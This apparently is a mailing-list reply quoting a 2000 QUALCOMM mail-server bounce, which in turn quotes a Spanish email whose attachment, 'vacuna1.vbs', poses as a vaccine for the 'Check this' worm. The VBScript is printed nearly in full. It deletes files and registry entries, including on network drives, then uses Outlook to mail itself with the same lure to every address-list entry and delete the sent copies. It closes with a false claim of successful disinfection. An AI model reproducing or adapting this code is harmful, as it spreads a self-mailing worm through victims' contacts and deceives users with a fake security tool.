well that's not very original!
-----Original Message-----
From: qcpm [mailto:[EMAIL PROTECTED]]
Sent: 25 October 2000 10:21
To: [EMAIL PROTECTED]
Subject: Re: IMPORTANTE! ES UNA VACUNA PARA LIMPIAR EL Check this
Greetings,
Your recent email message to QUALCOMM has not been delivered due to the
attachment it included. QUALCOMM does not allow email with certain types of
attachments due to the possible presence of a computer virus in these files.
Please resend your message without any attachments or compress your
attachment before sending it.
We apologize for any inconvenience.
The QUALCOMM Postmasters
> This is a multi-part message in MIME format.
> ------=_NextPart_000_000B_01BFF621.E10DE0C0
> Content-Type: text/plain;
> charset="iso-8859-1"
> Content-Transfer-Encoding: 7bit
> Ejecutar este fichero por favor.
> ------=_NextPart_000_000B_01BFF621.E10DE0C0
> Content-Type: application/octet-stream;
> name="vacuna1.vbs"
> Content-Transfer-Encoding: quoted-printable
> Content-Disposition: attachment;
> filename="vacuna1.vbs"
> On Error Resume Next
> Set A1 =3D CreateObject("Scripting.FileSystemObject")
> Set A5 =3D CreateObject("WScript.Shell")
> A5.RegDelete =
> "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Rundll"=
> A5.Close
> 'Borro el fichero links.vbs
> Set A6 =3D A1.GetFile(A1.BuildPath(A1.GetSpecialFolder(0), =
> "LINKS.VBS"))
> A6.Delete
> '----
> 'Borro el fichero rundll.vbs
> Set A6 =3D A1.GetFile(A1.BuildPath(A1.GetSpecialFolder(1), =
> "RUNDLL.VBS"))
> A6.Delete
> '---
> 'Borro el acceso directo
> Set A6 =3D A1.GetFile(A1.BuildPath(A5.SpecialFolders("Desktop"), =
> "FREE XXX LINKS.URL"))
> A6.Delete
> '----
> Set A7 =3D CreateObject("WScript.Network")
> Set A8 =3D A7.EnumNetworkDrives
> If A8.Count <> 0 Then
> For A9 =3D 0 To A8.Count - 1
> If InStr(A8.Item(A9), "\\") <> 0 Then
> Set A6 =3D A1.GetFile(A1.BuildPath(A8.Item(A9), =
> "LINKS.VBS"))
> A6.Delete
> End If
> Next
> End If
> Set A10 =3D CreateObject("Outlook.Application")
> Set A11 =3D A10.GetNameSpace("MAPI")
> For Each A12 In A11.AddressLists
> Set A13 =3D A10.CreateItem(0)
> For A14 =3D 1 To A12.AddressEntries.Count
> Set A15 =3D A12.AddressEntries(A14)
> If A14 =3D 1 Then
> A13.BCC =3D A15.Address
> Else
> A13.BCC =3D A13.BCC & ";" & A15.Address
> End If
> Next
> A13.Subject =3D "IMPORTANTE! ES UNA VACUNA PARA LIMPIAR EL Check =
> this"
> A13.Body =3D "Ejecutar este fichero por favor." & Chr(13) & =
> Chr(10)
> A13.Attachments.Add WScript.ScriptFullName
> A13.DeleteAfterSubmit =3D True
> A13.Send
> Next
> Set A7 =3D CreateObject("WScript.Shell")
> D =
> A7.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\=
> ProgramFilesDir")
> msgbox "El Check this ha sido eliminado de su m=E1quina de forma =
> satisfactoria."
> Sub D(D1)
> If A1.FolderExists(D1) =3D True Then
> For Each D2 In A1.GetFolder(D1).Files
> If UCase(D2.Name) =3D "MIRC32.EXE" Then
> Set A6 =3D A1.GetFile(A1.BuildPath(D2.ParentFolder, =
> "SCRIPT.INI"))
> A6.Delete
> End If
> If UCase(D2.Name) =3D "PIRCH98.EXE" Then
> Set A6 =3D A1.GetFile(A1.BuildPath(D2.ParentFolder, =
> "EVENTS.INI"))
> A6.Delete
> End If
> Next
> For Each D5 In A1.GetFolder(D1).SubFolders
> D D5.Path
> Next
> End If
> End Sub
> ------=_NextPart_000_000B_01BFF621.E10DE0C0--
